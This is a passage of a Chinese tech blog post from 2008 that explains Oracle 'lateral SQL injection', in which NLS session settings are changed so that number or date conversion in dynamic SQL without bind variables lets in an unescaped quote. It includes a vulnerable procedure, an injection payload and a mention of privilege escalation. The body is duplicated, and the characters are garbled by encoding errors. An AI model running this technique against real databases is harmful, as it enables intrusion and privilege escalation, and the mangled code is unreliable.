ORACLE LATERAL-SQL-INJECTION 個(gè)人見解
更新時(shí)間:2008年05月07日 18:54:31 作者:
最近忙啊忙啊的,今天終于有點(diǎn)點(diǎn)時(shí)間抽出來看看技術(shù)文章了,最近國(guó)外又出了關(guān)于新型ORA注入技術(shù)的PAPER,趕緊測(cè)試,主要是出現(xiàn)在SQL語(yǔ)句字符拼 接的時(shí)候,DATE類型轉(zhuǎn)換為VARCHAR 以及 NUMBER轉(zhuǎn)換為VARCHAR加入的格式字符出現(xiàn)問題。
如果直接執(zhí)行SQL語(yǔ)句或者參數(shù)綁定則不用擔(dān)心太多,
如以下ORACLE存儲(chǔ)過程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要擔(dān)心遭受到SQL新型注入攻擊,那么在什么地方會(huì)發(fā)生DATE 以及 NUMBER的注入攻擊呢???一般都是采用了動(dòng)態(tài)SQL而又不采用參數(shù)綁定的語(yǔ)句。
例如工程師經(jīng)常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存儲(chǔ)過程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存儲(chǔ)過程或者函數(shù)等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達(dá)到SQL注射的目的,
老外的PAPER講解得非常詳細(xì)了 ,我在這里也不廢話。
惟獨(dú)對(duì)于 NUMBER類型的注射沒有多作講解 只是簡(jiǎn)單演示了可以輸出單引號(hào)!
看以下語(yǔ)句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
輸出一下結(jié)果
1000′10001
只是多了一個(gè)單引號(hào),那有什么用呢?樂觀的來說!在特定情況下是很有價(jià)值的!看以下一個(gè)存儲(chǔ)過程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
內(nèi)部對(duì)varchar類型進(jìn)行替換了!我們可以進(jìn)行測(cè)試
begin
numinjpoc(1000,”'–');
end;
其輸出SQL語(yǔ)句為
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
單引號(hào)被轉(zhuǎn)義掉了
那么如果我們結(jié)合這個(gè)NUMBER類型怎么進(jìn)行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看輸出結(jié)果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
這樣就可以間接的攻擊它…
在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統(tǒng)內(nèi)部的一些函數(shù)或者過程來提升權(quán)限。未嘗不是一種好的突破思路,但是對(duì)于單語(yǔ)句進(jìn)行SQL注射攻擊,以結(jié)果為向?qū)У脑挘∵@樣的方式?jīng)]多大作為。
如以下ORACLE存儲(chǔ)過程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要擔(dān)心遭受到SQL新型注入攻擊,那么在什么地方會(huì)發(fā)生DATE 以及 NUMBER的注入攻擊呢???一般都是采用了動(dòng)態(tài)SQL而又不采用參數(shù)綁定的語(yǔ)句。
例如工程師經(jīng)常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存儲(chǔ)過程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存儲(chǔ)過程或者函數(shù)等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達(dá)到SQL注射的目的,
老外的PAPER講解得非常詳細(xì)了 ,我在這里也不廢話。
惟獨(dú)對(duì)于 NUMBER類型的注射沒有多作講解 只是簡(jiǎn)單演示了可以輸出單引號(hào)!
看以下語(yǔ)句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
輸出一下結(jié)果
1000′10001
只是多了一個(gè)單引號(hào),那有什么用呢?樂觀的來說!在特定情況下是很有價(jià)值的!看以下一個(gè)存儲(chǔ)過程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
內(nèi)部對(duì)varchar類型進(jìn)行替換了!我們可以進(jìn)行測(cè)試
begin
numinjpoc(1000,”'–');
end;
其輸出SQL語(yǔ)句為
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
單引號(hào)被轉(zhuǎn)義掉了
那么如果我們結(jié)合這個(gè)NUMBER類型怎么進(jìn)行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看輸出結(jié)果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
這樣就可以間接的攻擊它…
在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統(tǒng)內(nèi)部的一些函數(shù)或者過程來提升權(quán)限。未嘗不是一種好的突破思路,但是對(duì)于單語(yǔ)句進(jìn)行SQL注射攻擊,以結(jié)果為向?qū)У脑挘∵@樣的方式?jīng)]多大作為。
相關(guān)文章
Oracle存儲(chǔ)過程之?dāng)?shù)據(jù)庫(kù)中獲取數(shù)據(jù)實(shí)例
介紹Oracle數(shù)據(jù)庫(kù)中獲取數(shù)據(jù)的存儲(chǔ)過程示例 ,在表A取得的數(shù)據(jù)插入另一個(gè)表B中2008-09-09oracle應(yīng)用程序?qū)崿F(xiàn)打包 的方法
oracle應(yīng)用程序?qū)崿F(xiàn)打包 的方法...2007-04-04Oracle 函數(shù)大全[字符串函數(shù),數(shù)學(xué)函數(shù),日期函數(shù)]
字符串函數(shù),數(shù)學(xué)函數(shù),日期函數(shù),邏輯運(yùn)算函數(shù),其他函數(shù)2008-09-09java.sql.SQLException: 內(nèi)部錯(cuò)誤: Unable to construct a Datum fro
Unable to construct a Datum from the specified input的解決方法2008-09-09